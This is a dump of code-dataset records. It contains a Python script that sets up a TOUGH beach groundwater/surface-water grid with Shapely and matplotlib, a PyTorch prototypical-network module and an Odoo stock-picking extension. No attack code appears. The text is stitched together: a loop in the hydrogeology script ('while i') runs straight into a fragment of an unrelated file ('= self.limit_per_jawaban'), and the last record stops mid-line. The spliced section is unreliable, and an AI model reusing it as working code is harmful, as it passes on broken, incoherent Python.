0., 1., 0.1]}\nr3.capillarity = {'type': 1, 'parameters': [0., 0., 1.0]}\ninp.grid.add_rocktype(r3)\n\nr4 = rocktype('BOUN2',\n nad = 2,\n porosity = porosity_surfacewater,\n density = soil_grain_density_kgPm3,\n permeability = [bound_permeability_m2, bound_permeability_m2, bound_permeability_m2],\n conductivity = 2.51,\n specific_heat = 1.e5)\nr4.compressibility = 1.e-10\nr4.relative_permeability = {'type': 1, 'parameters': [0.1, 0., 1., 0.1]}\nr4.capillarity = {'type': 1, 'parameters': [0., 0., 1.0]}\ninp.grid.add_rocktype(r4)\n\n\n# r5 is the same as r3...\nr5 = rocktype('BOUN3',\n nad = 2,\n porosity = porosity_surfacewater,\n density = soil_grain_density_kgPm3,\n permeability = [bound_permeability_m2, bound_permeability_m2, bound_permeability_m2],\n conductivity = 2.51,\n specific_heat = 1.e5)\nr5.relative_permeability = {'type': 1, 'parameters': [0.1, 0., 1., 0.1]}\nr5.capillarity = {'type': 1, 'parameters': [0., 0., 1.0]}\ninp.grid.add_rocktype(r5)\n\na1 = rocktype('ATMOS',\n nad = 2,\n porosity = 0.99,\n density = soil_grain_density_kgPm3,\n permeability = [bound_permeability_m2, bound_permeability_m2, bound_permeability_m2],\n conductivity = 2.51,\n specific_heat = 1.e5)\na1.relative_permeability = {'type': 1, 'parameters': [0.1, 0., 1., 0.1]}\na1.capillarity = {'type': 1, 'parameters': [0., 0., 1.0]}\ninp.grid.add_rocktype(a1)\n\n#%% #assign rocktype and parameter values:\nconarea_dx = dz[0] * dy[0]\nconarea_dz = dx[0] * dy[0]\n\nfor blk in inp.grid.blocklist:\n blk.rocktype = rock_groundwater_seaward_section\n blk.ahtx = conarea_dx # interface area for heat exchange\n\n#%% #set connection area between surface water and groundwater cell \n# note that the connection\nbvol = 1.e50 # the large volume applied to atmospheric cell, and \ncondist = 1.e-10\nmean_water_level_m = 3\nvolume_surfacewater_element_m3= 1.e5\nslope_dx = int(slope_value*meshrefine_dz/meshrefine_dx) \n\n#%% defining x_connection_horizontal_mtx_zx_m\n# the reason we select a matrix format as z first and x second is that it is very intruitive to show from a command line, \n# when displaying the matrix, as the z axis is in the vertcal direction.\n# z_connection_horizontal \n\nelement.coordinate = np.array([i.centre for i in inp.grid.blocklist]) \n\nelement.x_array_m = element.coordinate[:,0]\nelement.y_array_m = element.coordinate[:,1]\nelement.z_array_m = element.coordinate[:,2]\nelement.x_grid_zx_m = element.x_array_m[:].reshape(nblks_z,nblks_x) \nelement.z_grid_zx_m = element.z_array_m.reshape(nblks_z,nblks_x)\n\n(element.dx_grid_zx_m,element.dz_grid_zx_m)=np.meshgrid(dx,dz)\n\n# not that the reason we extract this out here is because dx and dz does not change across the whole script\nelement.dx_array_m = element.dx_grid_zx_m.flatten()\nelement.dz_array_m = element.dz_grid_zx_m.flatten()\n\n# generating mesh using shapley polygon \nelement_cells = [] \nk = 0\nfor i in range(nblks_x*nblks_z):\n xy = [[element.x_array_m[i] - element.dx_array_m [i] / 2 , element.z_array_m[i] - element.dz_array_m [i]/ 2 ] , \\\n [element.x_array_m[i] + element.dx_array_m [i] / 2 , element.z_array_m[i] - element.dz_array_m [i]/ 2 ] , \\\n [element.x_array_m[i] + element.dx_array_m [i] / 2 , element.z_array_m[i] + element.dz_array_m [i]/ 2 ] , \\\n [element.x_array_m[i] - element.dx_array_m [i] / 2 , element.z_array_m[i] + element.dz_array_m [i]/ 2 ] , \\\n [element.x_array_m[i] - element.dx_array_m [i] / 2 , element.z_array_m[i] - element.dz_array_m [i]/ 2 ] ]\n p = Polygon(xy)\n p.index = k \n element_cells.append(p)\n k += 1\n\n\n#%% generating connections using shapley polygon. all the connections are considered as a small polygon \nconnection_cells = [] \nconnection.x_centre_array_m = np.zeros( len(inp.grid.connectionlist) )\nconnection.z_centre_array_m = np.zeros( len(inp.grid.connectionlist) )\nconnection.dx_a_array_m = np.zeros( len(inp.grid.connectionlist) )\nconnection.dz_a_array_m = np.zeros( len(inp.grid.connectionlist) )\nconnection.dx_b_array_m = np.zeros( len(inp.grid.connectionlist) )\nconnection.dz_b_array_m = np.zeros( len(inp.grid.connectionlist) )\n#connection_scaling_factor = 0.9 # in the visualisation, only show a fraction of the connection, with this scaling factor, centred at the interfacing area. this only affects visualisation, not model configuration.\nconnection_scaling_factor = 0.89\noffset_m = 0.01 #0.025 # the offset can make the connection to be a polygon, not rather a line, adjust this value to make the visualisation of connections clearer\n\n\nfor i,con in enumerate (inp.grid.connectionlist ):\n\n name_element_a = con.block[0].name\n name_element_b = con.block[1].name\n index_element_a = element.name_array.index(name_element_a)\n index_element_b = element.name_array.index(name_element_b)\n \n x_element_a_m = inp.grid.blocklist[index_element_a].centre[0]\n z_element_a_m = inp.grid.blocklist[index_element_a].centre[2]\n x_element_b_m = inp.grid.blocklist[index_element_b].centre[0]\n z_element_b_m = inp.grid.blocklist[index_element_b].centre[2]\n \n dx_element_a_m = element.dx_array_m[index_element_a] # CZ211021 useful when the dx of each elelment is different\n dx_element_b_m = element.dx_array_m[index_element_b]\n dz_element_a_m = element.dz_array_m[index_element_a]\n dz_element_b_m = element.dz_array_m[index_element_b]\n\n #connection.x_centre_array_m [i] = (x_element_a_m + x_element_b_m ) / 2 # did not work when the dx of the paring element is not the same\n #connection.z_centre_array_m [i] = (z_element_a_m + z_element_b_m ) / 2\n connection.x_centre_array_m [i] = x_element_a_m + (1 - con.dircos**2)**0.5 *dx_element_a_m /2 # (x_element_a_m + x_element_b_m ) * dx_element_a_m / (dx_element_a_m+ dx_element_b_m) # this is valid, only when the squence of connection is from left to right, from top to bottom, which is the case for toughreact\n connection.z_centre_array_m [i] = z_element_a_m - con.dircos * dz_element_a_m /2 #z_element_b_m ) * dz_element_a_m / (dz_element_a_m+ dz_element_b_m) #\n \n \n #dx_connection_array_m [i] = abs(x_element_a_m - x_element_b_m) \n #dz_connection_array_m [i] = abs(z_element_a_m - z_element_b_m) \n \n connection.dx_a_array_m [i] = (1 - con.dircos ** 2 ) ** 0.5 * dx_element_a_m / 2\n connection.dz_a_array_m [i] = - con.dircos * dz_element_a_m / 2 \n connection.dx_b_array_m [i] = (1 - con.dircos ** 2 ) ** 0.5 * dx_element_a_m / 2\n connection.dz_b_array_m [i] = - con.dircos *dz_element_b_m / 2\n \n \n xy = [\n [ connection.x_centre_array_m [i] - connection.dx_a_array_m [i] * connection_scaling_factor - offset_m , connection.z_centre_array_m [i] - connection.dz_a_array_m [i] * connection_scaling_factor - offset_m] , \\\n [ connection.x_centre_array_m [i] + connection.dx_b_array_m [i] * connection_scaling_factor + offset_m , connection.z_centre_array_m [i] - connection.dz_a_array_m [i] * connection_scaling_factor - offset_m] , \\\n [ connection.x_centre_array_m [i] + connection.dx_b_array_m [i] * connection_scaling_factor + offset_m , connection.z_centre_array_m [i] + connection.dz_b_array_m [i] * connection_scaling_factor + offset_m] , \\\n [ connection.x_centre_array_m [i] - connection.dx_a_array_m [i] * connection_scaling_factor - offset_m , connection.z_centre_array_m [i] + connection.dz_b_array_m [i] * connection_scaling_factor + offset_m] , \\\n [ connection.x_centre_array_m [i] - connection.dx_a_array_m [i] * connection_scaling_factor - offset_m , connection.z_centre_array_m [i] - connection.dz_a_array_m [i] * connection_scaling_factor - offset_m] \n ]\n p=Polygon(xy)\n p.index=i\n connection_cells.append(p)\n\n\n\n#%% find surfacewater and groundwater elements\nsurfacewater = SimpleNamespace( **{'element' : SimpleNamespace(**{}),\n 'connection' : SimpleNamespace(**{})}\n ) # initialise surfacewater object\nbeach = SimpleNamespace( **{'element' : SimpleNamespace(**{}),\n 'connection' : SimpleNamespace(**{})}\n ) # initialise beach object\ngroundwater = SimpleNamespace( **{'element' : SimpleNamespace(**{}),\n 'connection' : SimpleNamespace(**{})}\n ) # initialise groundwater object\n# Notes: use list(surfacewater.__dict__) to list all the arguments of the namespace.\nsurfacewater.poly = Polygon(shell=[ (0,0),(0, -0.9), (5, -0.9), (30, -6.01), (35, -6.01), (35, 0), (0, 0)] )\n# Notes: use list(surfacewater.__dict__) to list all the arguments of the namespace.\ngroundwater.poly = Polygon(shell=[ (0, -0.9), (5, -0.9), (30, -6.01), (35, -6.01), (35, -20), (0,-20),(0,-0.9)] )\n\n\nls1 = LineString([ (5, -0.9), (30, -6.01)]) ; ls2 = LineString([(30, -6.01), (35, -6.01)])\nbeach.polyline = MultiLineString(lines=[ls1, ls2])\n\nprint('working on surface water element and groundwater element ...')\nt = time.time ()\narea_threshold_sw_gw_elements_m2 = 0.10 #0.11 #0.12\nline_threshold_beach_m = 0.51 #0.5 #0.49 #0.47 #0.46 #0.47 # 0.48 # 0.49 # 0.5 # 0.45 #.55\narea_threshold_gw_connection_m2 = 0 #0.0001 #0.001 0.002 some horizontal cells are still been considered as surface water cells\narea_threshold_sw_connection_m2 = 0.004 #0.003 has some vertical connection that could be ideally groundwater #0.004 too much #0.001\n\nsurfacewater.element.result = intersect(element_cells, surfacewater.poly, shptype=\"POLYGON\",length_area_greater_than = area_threshold_sw_gw_elements_m2)\n#groundwater.element.result = intersect(element_cells, groundwater.poly , shptype=\"POLYGON\",length_area_greater_than = area_threashhold_sw_gw_elements_m2)\n#method 2\ngroundwater.element.result={}\ngroundwater.element.result[\"cellids\"] = [i for i in range(number_of_elements) if i not in surfacewater.element.result[\"cellids\"] ]\ngroundwater.element.result[\"intersect\"] = [i for i in element_cells if i in groundwater.element.result[\"cellids\"] ]\n# comment: [i for i in range(5) if i not in [4,2] ] will give [0,1,3] \n\n\n# connections\n# surfacewater.connection.result = intersect(connection_cells, surfacewater.poly, shptype=\"POLYGON\", length_area_greater_than = area_threashold_sw_connection_m2)\n# #Method 1, this will cause the overlap of the cells\n# groundwater.connection.result={}\n# groundwater.connection.result[\"cellids\"] = [i for i in range(number_of_connections) if i not in surfacewater.connection.result[\"cellids\"] ]\n# groundwater.connection.result[\"intersect\"] = [i for i in element_cells if i in groundwater.element.result[\"cellids\"] ]\n\n# search groundwater and surfacewater connections\ngroundwater.connection.result = intersect(connection_cells, groundwater.poly, shptype=\"POLYGON\", length_area_greater_than = area_threshold_gw_connection_m2)\nsurfacewater.connection.result={}\nsurfacewater.connection.result[\"cellids\"] = [i for i in range(number_of_connections) if i not in groundwater.connection.result[\"cellids\"] ]\nsurfacewater.connection.result[\"intersect\"] = [i for i in element_cells if i in surfacewater.element.result[\"cellids\"] ]\n\n\n# search beach element and connections\nbeach.element.result = intersect(element_cells, beach.polyline, shptype=\"POLYLINE\",length_area_greater_than = line_threshold_beach_m)\nbeach.connection.result = intersect(connection_cells, beach.polyline, shptype=\"POLYLINE\",length_area_greater_than = 0.01)\n\ndt_s=time.time() - t\nprint('finishing element intersection in ' + str(int(dt_s)) +' secconds')\n\n#%% plot grid\nfig, ax = plt.subplots(1, 1, figsize=(10, 10))\nax.set_aspect(\"equal\")\npolys = []\n\n# plot connection grid \npolys_connection = []\nfor g in connection_cells:\n pp = PolygonPatch(g, facecolor=\"C3\", alpha=0.9,linewidth=0)\n ax.add_patch(pp)\n polys_connection.append(g)\n\n\nfor g in element_cells:\n pp = PolygonPatch(g, facecolor=\"C0\", alpha=0.5)\n ax.add_patch(pp)\n polys.append(g)\n \npp2 = PolygonPatch(surfacewater.poly, alpha=0.5, facecolor=\"red\")\nax.add_patch(pp2)\n\npp3 = PolygonPatch(groundwater.poly, alpha=0.3, facecolor=\"blue\")\nax.add_patch(pp3)\n\n\n# draw beach line\nfor ig in beach.polyline.geoms:\n ax.plot(ig.xy[0], ig.xy[1])\n \n \nax.set_xlim(min(element.x_array_m)-1, max(element.x_array_m)+1)\nax.set_ylim(min(element.z_array_m)-1, max(element.z_array_m)+1)\n\n#%% plot in more detail about the grid\n# note: it is important to check if groundwater and surface water cells are overlaped,\nfig, ax = plt.subplots(1, 1, figsize=(30, 20))\nax.set_aspect(\"equal\")\n\n# plot grid element\nfor g in element_cells:\n pp = PolygonPatch(g, edgecolor=\"k\", alpha=1.0, facecolor=\"none\")\n ax.add_patch(pp)\n\n\n# plot surface water cells\nfor i, ishp in enumerate(surfacewater.element.result[\"intersect\"]):\n ppi = PolygonPatch(ishp, facecolor='red', alpha=0.2) #\"C{}\".format(i%10)\n ax.add_patch(ppi)\n \n \nfor cid in surfacewater.element.result[\"cellids\"]:\n c = polys[cid].centroid\n ax.plot(c.x, c.y, \"rx\")\n \n# plot groundwater water cells\nfor i, ishp in enumerate(groundwater.element.result[\"intersect\"]):\n ppi = PolygonPatch(ishp, facecolor=\"blue\", alpha=0.2)\n ax.add_patch(ppi)\n \nfor cid in groundwater.element.result[\"cellids\"]:\n c = polys[cid].centroid\n ax.plot(c.x, c.y, \"b.\") \n \n# draw beach line\nfor ig in beach.polyline.geoms:\n ax.plot(ig.xy[0], ig.xy[1])\n\n\n# draw blue squares on the element where it is been considered as beach element \nfor cid in beach.element.result[\"cellids\"]:\n c = polys[cid].centroid\n ax.plot(c.x, c.y, \"gs\",alpha=0.7)\n \n# plot dot on the connection that are identified as groundwater\nfor cid in groundwater.connection.result[\"cellids\"]:\n c = polys_connection[cid].centroid\n ax.plot(c.x, c.y, \"mv\",alpha=0.5,markersize=8, linewidth=5)\n\n# plot dot on the connection that are identified as surface water\nfor cid in surfacewater.connection.result[\"cellids\"]:\n c = polys_connection[cid].centroid\n ax.plot(c.x, c.y, \"w+\",alpha=0.9,markersize=8, linewidth=5)\n\n\n# plot dot on the connection that are identified as surface water\nfor cid in beach.connection.result[\"cellids\"]:\n c = polys_connection[cid].centroid\n ax.plot(c.x, c.y, \"c*\",linewidth=3)\n\n \nax.set_xlim( min(element.x_array_m) - 1 , max(element.x_array_m) + 1 )\nax.set_ylim( min(element.z_array_m) - 1 , max(element.z_array_m) + 1 )\nax.set_title('Sw and gw area threashhold = ' + str(area_threshold_sw_gw_elements_m2) + ' m2' +\n ', beach intersection length threashold = ' + str(line_threshold_beach_m) + ' m' )\n\nprint('save to file element_domain.svg which can be opened by a browser')\nplt.savefig(\"element_domain.svg\", format=\"svg\")\n\n\n\n\n#%% define beach element locations\nbeach.element.name_array = []\nbeach.element.x_array_m = np.zeros(len(beach.element.result[\"cellids\"]) , dtype=float)\nbeach.element.y_array_m = np.zeros(len(beach.element.result[\"cellids\"]) , dtype=float)\nbeach.element.z_array_m = np.zeros(len(beach.element.result[\"cellids\"]) , dtype=float)\nbeach.index_element_array = np.zeros(len(beach.element.result[\"cellids\"]) , dtype=int)\n\nbeach.index_element_array = beach.element.result[\"cellids\"]\nfor i,beach_element_index in enumerate(beach.element.result[\"cellids\"]):\n beach.element.name_array.append(inp.grid.blocklist[beach_element_index].name)\n beach.element.x_array_m[i] = inp.grid.blocklist[ beach_element_index ].centre[0]\n beach.element.y_array_m[i] = inp.grid.blocklist[ beach_element_index ].centre[1]\n beach.element.z_array_m[i] = inp.grid.blocklist[ beach_element_index ].centre[2] \n \n\n\n#%% surface water element, enalrge the volume in the matrix grid\n\nsurfacewater.element.mask_bool_index_array = np.zeros(number_of_elements, dtype=bool) # the reason to use bool array mask is that there is another mask matrix where it indicates the index number of the cells.\nsurfacewater.element.mask_bool_index_array [surfacewater.element.result[\"cellids\"] ] = True\nsurfacewater.element.mask_index_grid_zx = surfacewater.element.mask_bool_index_array.reshape(nblks_z,nblks_x) \n# enlarging the dy of the surface water elements and determine the volume of elements, and make the groundwater cell as rock_groundwater_seaward_section\nfor i in surfacewater.element.result[\"cellids\"] :\n inp.grid.blocklist[i].centre[1] = dy_surfacewater_element_m\n inp.grid.blocklist[i].volume = element.dx_array_m [i] * inp.grid.blocklist[i].centre[1] * element.dz_array_m [i] # volume is calculated by the size of the element rather pre-determined, so that the changes in dx and dz in surface water cell will not cause uneven areas\n \nelement.volume_array_m3 = np.array([i.volume for i in inp.grid.blocklist]) \nelement.volume_grid_zx_m3 = element.volume_array_m3.reshape(nblks_z,nblks_x)\nelement.dy_array_m3 = np.array([i.centre[1] for i in inp.grid.blocklist]) \nelement.dy_grid_zx_m3 = element.dy_array_m3.reshape(nblks_z,nblks_x)\n\n\n# enlarging the volume of the surface water element, note that the surface element is been extracted, after the data has been sorted out.\n# element.volume_grid_zx_m3[surfacewater.element.mask_index_grid_zx] = volume_surfacewater_element_m3\n\n\n\n# %% check the volume of cells using a surface plot.\nfrom matplotlib import cm\nfrom matplotlib.ticker import LinearLocator, FormatStrFormatter\n\nfig = plt.figure()\nax = fig.gca(projection='3d')\nsurf = ax.plot_surface(element.x_grid_zx_m, element.z_grid_zx_m, element.volume_grid_zx_m3, rstride=1, cstride=1, cmap=cm.coolwarm,\n linewidth=1, antialiased=False, edgecolors='k', lw=0.6)\n\nax.zaxis.set_major_locator(LinearLocator(10))\nax.zaxis.set_major_formatter(FormatStrFormatter('%.02f'))\nfig.colorbar(surf, shrink=0.5, aspect=5)\nplt.title('Volume of the cells')\n\n# # there are two ways to define the surface water cells, one is to draw lines, the other way is to \n# surfacewater.element.name_array = np.array([j.name for j in inp.grid.blocklist[surfacewater.element.result[\"cellids\"] ] ])\n\n\n#%% plot dy of the domain\nfig = plt.figure()\nax = fig.gca(projection='3d')\nsurf = ax.plot_surface(element.x_grid_zx_m, element.z_grid_zx_m, element.dy_grid_zx_m3, rstride=1, cstride=1, cmap=cm.coolwarm,\n linewidth=1, antialiased=False, edgecolors='k', lw=0.6)\n\nax.zaxis.set_major_locator(LinearLocator(10))\nax.zaxis.set_major_formatter(FormatStrFormatter('%.02f'))\nfig.colorbar(surf, shrink=0.5, aspect=5)\n#ax.view_init(elev=10., axim=0)\nplt.title('dy of the cells')\n# %%\n# create a array with all the surfacewater elelment name, not sure how to vectorise this \nsurfacewater.element.name_array = []\nfor i,index_surfacewater_element in enumerate(surfacewater.element.result[\"cellids\"]):\n surfacewater.element.name_array.append(inp.grid.blocklist[index_surfacewater_element].name)\n \n \n#%% plot connections above the beach profile\n\nfig, ax = plt.subplots(1, 1, figsize=(10, 10))\nax.set_aspect(\"equal\")\npolys = []\n# plot element grid\nfor g in element_cells:\n pp = PolygonPatch(g, facecolor=\"C0\", alpha=0.3)\n ax.add_patch(pp)\n polys.append(g)\n\n# hatch in red on the surface water section \npp2 = PolygonPatch(surfacewater.poly, alpha=0.3, facecolor=\"red\")\nax.add_patch(pp2)\n\n# plot connection grid \npolys_connection = []\nfor g in connection_cells:\n pp = PolygonPatch(g, facecolor=\"C3\", alpha=0.9,linewidth=0)\n ax.add_patch(pp)\n polys_connection.append(g)\n\n# plot dot on the connection that are identified as surface water\nfor cid in surfacewater.connection.result[\"cellids\"]:\n c = polys_connection[cid].centroid\n ax.plot(c.x, c.y, \"g.\")\n\n# plot beach interface \nfor ig in beach.polyline.geoms:\n ax.plot(ig.xy[0], ig.xy[1])\n\n# pp2 = PolygonPatch(surfacewater.poly, alpha=0.5, facecolor=\"red\")\n# ax.add_patch(pp2)\n\nax.set_xlim(min(element.x_array_m)-1, max(element.x_array_m)+1)\nax.set_ylim(min(element.z_array_m)-1, max(element.z_array_m)+1)\n\n#%%\n# create a array with all the surfacewater elelment name, not sure how to vectorise this \n\nsurfacewater.connection.index_array = surfacewater.connection.result[\"cellids\"]\nsurfacewater.connection.x_array_m = np.zeros(len(surfacewater.connection.result[\"cellids\"]),dtype=float)\n#y_surfacewater_connection_array_m = np.zeros(len(surfacewater.connection.result[\"cellids\"]),dtype=float)\nsurfacewater.connection.z_array_m = np.zeros(len(surfacewater.connection.result[\"cellids\"]),dtype=float)\n\n#surfacewater.connection.name_of_element_upstream_array\n# surfacewater.connection.volume_of_element_upstream_m3\n# surfacewater.connection.volume_of_element_upstream_m3\nsurfacewater.connection.name_of_element_upstream_array = []\nsurfacewater.connection.index_of_element_upstream_array = np.zeros(len(surfacewater.connection.result[\"cellids\"]),dtype=int)\n# find the element upstream to the surface water connection. the volume of the upstream element will help identify the surface area of the connection by V/dx or V/dy\nfor i,index_surfacewater_connection in enumerate(surfacewater.connection.result[\"cellids\"]):\n surfacewater.connection.name_of_element_upstream_array.append(inp.grid.connectionlist[index_surfacewater_connection].block[0].name)\n surfacewater.connection.index_of_element_upstream_array[i] = element.name_array.index(surfacewater.connection.name_of_element_upstream_array[i])\n surfacewater.connection.volume_of_element_upstream_m3 = inp.grid.blocklist[ surfacewater.connection.index_of_element_upstream_array[i] ].volume\n # set the surface area of neighbouring surface water cell\n if inp.grid.connectionlist[index_surfacewater_connection].dircos == 0 :# horizontal connection\n inp.grid.connectionlist[index_surfacewater_connection].area = surfacewater.connection.volume_of_element_upstream_m3 / connection.dx_a_array_m[ index_surfacewater_connection]\n #inp.grid.connectionlist[i].area\n elif inp.grid.connectionlist[index_surfacewater_connection].dircos == -1: # vertical connection\n inp.grid.connectionlist[index_surfacewater_connection].area = surfacewater.connection.volume_of_element_upstream_m3 / connection.dz_a_array_m[ index_surfacewater_connection]\n else:\n print('WARNING!! connection ' + str(i) + ' at ' + str(index_surfacewater_connection) + ' is neither a horizontal connection or a vertical connection!' )\n \n \n #surfacewater.element.name_array.append(inp.grid.blocklist[index_surfacewater_element].name)\n surfacewater.connection.x_array_m[i] = connection.x_centre_array_m [index_surfacewater_connection]\n #y_surfacewater_connection_array_m[i] = connection.y_centre_array_m [index_surfacewater_connection]\n surfacewater.connection.z_array_m[i] = connection.z_centre_array_m [index_surfacewater_connection]\n \n#%%\n\n# the coordinate of the connections that are horizontal ( interface is vertical)\nconnection.area_array_m2 = np.array([i.area for i in inp.grid.connectionlist])\n\nconnection.x_horizontal_grid_zx_m = ( element.x_grid_zx_m[:,:-1] + element.x_grid_zx_m[:,1:] ) / 2 \nconnection.z_horizontal_grid_zx_m = ( element.z_grid_zx_m[:,:-1] + element.z_grid_zx_m[:,1:] ) / 2\nconnection.mask_horizontal_array = np.array([ blk.dircos == 0.0 for blk in inp.grid.connectionlist]) # the cosine of the gravitional direction and the line between the two element are 0\nconnection.area_horizontal_array_m2 = connection.area_array_m2[connection.mask_horizontal_array]\nconnection.area_horizontal_grid_zx_m2 = connection.area_horizontal_array_m2.reshape(nblks_z,nblks_x-1)\n\n\n# the coordinate of the connections that are vertical ( interface is horizontal)\nconnection.x_vertical_grid_zx_m = ( element.x_grid_zx_m[:-1,:] + element.x_grid_zx_m[1:,:] ) / 2 \nconnection.z_vertical_grid_zx_m = ( element.z_grid_zx_m[:-1,:] + element.z_grid_zx_m[1:,:] ) / 2\n\nconnection.dx_vertical_grid_zx_m = ( connection.x_vertical_grid_zx_m[:,1:] - connection.x_vertical_grid_zx_m[:,:-1] ) / 2\nconnection.dz_vertical_grid_zx_m = ( connection.z_vertical_grid_zx_m[:-1,:] - connection.z_vertical_grid_zx_m[1:,:] ) / 2\n\n\nconnection.mask_vertical_array = np.array([ blk.dircos==-1.0 for blk in inp.grid.connectionlist]) \nconnection.area_vertical_array_m2 = connection.area_array_m2[connection.mask_vertical_array]\nconnection.area_vertical_grid_zx_m2 = connection.area_vertical_array_m2.reshape(nblks_z-1,nblks_x)\n\n\n\n\n#%% plot surface area of the connections\n\nfig = plt.figure()\nax = fig.gca(projection='3d')\nsurf = ax.plot_surface(connection.x_horizontal_grid_zx_m, connection.z_horizontal_grid_zx_m, connection.area_horizontal_grid_zx_m2, rstride=1, cstride=1, cmap=cm.coolwarm,\n linewidth=1, antialiased=False, edgecolors='k', lw=0.6)\n\nax.zaxis.set_major_locator(LinearLocator(10))\nax.zaxis.set_major_formatter(FormatStrFormatter('%.02f'))\nfig.colorbar(surf, shrink=0.5, aspect=5)\nplt.title('dx area of the cells (m2)')\n\nconnection.bool_plot_connection_area_vertical = True\nconnection.bool_plot_connection = False\n\n#%% plot surface area of connection in z direction\nif connection.bool_plot_connection :\n fig = plt.figure()\n ax = fig.gca(projection='3d')\n surf = ax.plot_surface(connection.x_vertical_grid_zx_m, connection.z_vertical_grid_zx_m, \n connection.area_vertical_grid_zx_m2, rstride=1, cstride=1, cmap=cm.coolwarm,\n linewidth=1, antialiased=False, edgecolors='k', lw=0.6)\n \n ax.zaxis.set_major_locator(LinearLocator(10))\n ax.zaxis.set_major_formatter(FormatStrFormatter('%.02f'))\n fig.colorbar(surf, shrink=0.5, aspect=5)\n plt.title('dz area of the cells (m2)')\n\n# adjust the surface area of the surfacewater connection\n\n# it is suggested to visualise the connections on the beach to ensure all the intersection connections are captured.\n# also to ensure that there are no double connections in one horizontal or vertical line, which may cause double counting of\n# the boundary fluxes. adjusting value 'connection_scaling_factor' to identify the best fit.\n#%% plot connections at the beach sections\nif connection.bool_plot_connection:\n fig, ax = plt.subplots(1, 1, figsize=(30, 20))\n ax.set_aspect(\"equal\")\n polys = []\n # plot element grid\n for g in element_cells:\n pp = PolygonPatch(g, facecolor=\"C0\", alpha=0.3)\n ax.add_patch(pp)\n polys.append(g)\n # # plot red surface water section \n # pp2 = PolygonPatch(surfacewater.poly, alpha=0.3, facecolor=\"red\")\n # ax.add_patch(pp2)\n \n # plot all the connection grid \n polys_connection = []\n for g in connection_cells:\n pp = PolygonPatch(g, facecolor=\"C3\", alpha=0.9,linewidth=0)\n ax.add_patch(pp)\n polys_connection.append(g)\n \n # plot beach interface using one line \n for ig in beach.polyline.geoms:\n ax.plot(ig.xy[0], ig.xy[1])\n \n # plot dot on the connection that are identified as surface water\n for cid in beach.connection.result[\"cellids\"]:\n c = polys_connection[cid].centroid\n ax.plot(c.x, c.y, \"gx\",linewidth=3)\n \n # pp2 = PolygonPatch(surfacewater.poly, alpha=0.5, facecolor=\"red\")\n # ax.add_patch(pp2)\n \n ax.set_xlim(min(element.x_array_m)-1, max(element.x_array_m)+1)\n ax.set_ylim(min(element.z_array_m)-1, max(element.z_array_m)+1)\n \n \n plt.savefig(\"element_domain_1.svg\", format=\"svg\")\n\n#%% add dummy connection: CZ211028 establish a connection at the beach for the surface water cells. \n# ignore this section by now\n# count_dummy_connection = 0\n# j=1\n# while j < (height_difference-unsaturated_depth_m) / meshrefine_dz:\n# i = 0\n# while i < slope_dx:\n# con1 = t2connection([inp.grid.blocklist[int(slope_initial+i+(nblks_x+slope_dx)*j)], inp.grid.blocklist[int(slope_initial+i+(nblks_x+slope_dx)*(j+1))]],\n# distance = [0.5*dz[j], 0.5*dz[j+1]], \n# area = volume_surfacewater_element_m3/dz[j],\n# direction = 3,\n# dircos = 1)\n# inp.grid.add_connection(con1) \n# count_dummy_connection+=1\n# i+=1\t\t\n# j+=1\n\n# #set tide block & conditons: CZ211028 b2 is the large block to impliment dirichlet boundary condtions.\nj=int((height_difference-1-unsaturated_depth_m)/meshrefine_dz)+1\nb2 = t2block('tid'+str(int(j+1)), bvol, r4,\n ahtx = conarea_dx, \n centre = np.array([length_x,dy[0]/2,-(j*meshrefine_dz+1-dz[j]/2)]))\ninp.grid.add_block(b2)\ni=nblks_x-1\n\n\n# connect b2 to a surface water cell. CZ211028\nwhile i= self.limit_per_jawaban): \n break \n\n potential = {\n 'val' : counterjawaban,\n 'jawaban' : jawaban\n }\n potentials.append(potential)\n p.closeDB()\n \n min_val = potentials[0]['val']\n min_index = 0\n for i in range(0,len(potentials)):\n potential = potentials[i]\n if (potential['val'] < min_val):\n min_val = potential['val']\n min_index = i \n return potentials[min_index]\n ","sub_path":"process.py","file_name":"process.py","file_ext":"py","file_size_in_byte":2529,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"151564375","text":"import torch.nn as nn\n\n\ndef full_block(in_features, out_features, dropout):\n return nn.Sequential(\n nn.Linear(in_features, out_features, bias=True),\n nn.BatchNorm1d(out_features),\n nn.ReLU(),\n nn.Dropout(p=dropout),\n )\n\n\ndef conv_block(in_channels, out_channels):\n '''\n returns a block conv-bn-relu-pool\n '''\n return nn.Sequential(\n nn.Conv2d(in_channels, out_channels, 3, padding=1),\n nn.BatchNorm2d(out_channels),\n nn.ReLU(),\n nn.MaxPool2d(2)\n )\n\n\nclass ProtoNet(nn.Module):\n '''\n Model as described in the reference paper,\n source: https://github.com/jakesnell/prototypical-networks/blob/f0c48808e496989d01db59f86d4449d7aee9ab0c/protonets/models/few_shot.py#L62-L84\n '''\n def __init__(self, x_dim=1, hid_dim=64, z_dim=64, nn_architecture='conv', dropout=0.2):\n print(\"Using nn_architecture {} with x_dim {}\".format(nn_architecture, x_dim))\n super(ProtoNet, self).__init__()\n if nn_architecture == 'conv':\n self.encoder = nn.Sequential(\n conv_block(x_dim, hid_dim),\n conv_block(hid_dim, hid_dim),\n conv_block(hid_dim, hid_dim),\n conv_block(hid_dim, z_dim),\n )\n elif nn_architecture == 'fully_connected':\n self.encoder = nn.Sequential(\n full_block(x_dim, hid_dim, dropout),\n full_block(hid_dim, z_dim, dropout),\n )\n\n def forward(self, x):\n x = self.encoder(x)\n return x.view(x.size(0), -1)\n","sub_path":"src/protonet.py","file_name":"protonet.py","file_ext":"py","file_size_in_byte":1562,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"286488125","text":"from openerp import models, fields, api, _\nimport openerp.addons.decimal_precision as dp\nfrom openerp.exceptions import except_orm\n\nclass stock_picking(models.Model):\n _inherit = \"stock.picking\"\n \n\n @api.multi\n def update_location(self):\n if not self.location or not self.location_dest:\n raise except_orm(_('Warning!'), _('You cannot update location empty.'))\n for line in self.move_lines:\n line.location_id = self.location\n for line in self.move_lines:\n line.location_dest_id = self.location_dest\n return True\n\n location = fields.Many2one('stock.location', 'Source Location', states={'done': [('readonly', True)]},\n help=\"Sets a location if you produce at a fixed location. This can be a partner location if you subcontract the manufacturing operations.\")\n location_dest = fields.Many2one('stock.location', 'Destination Location', states={'done': [('readonly', True)]},\n help=\"Location where the system will stock the finished products.\")\n\nclass stock_transfer_details(models.TransientModel):\n _inherit = \"stock.transfer_details\"\n\n @api.multi\n def update_source(self):\n for det in 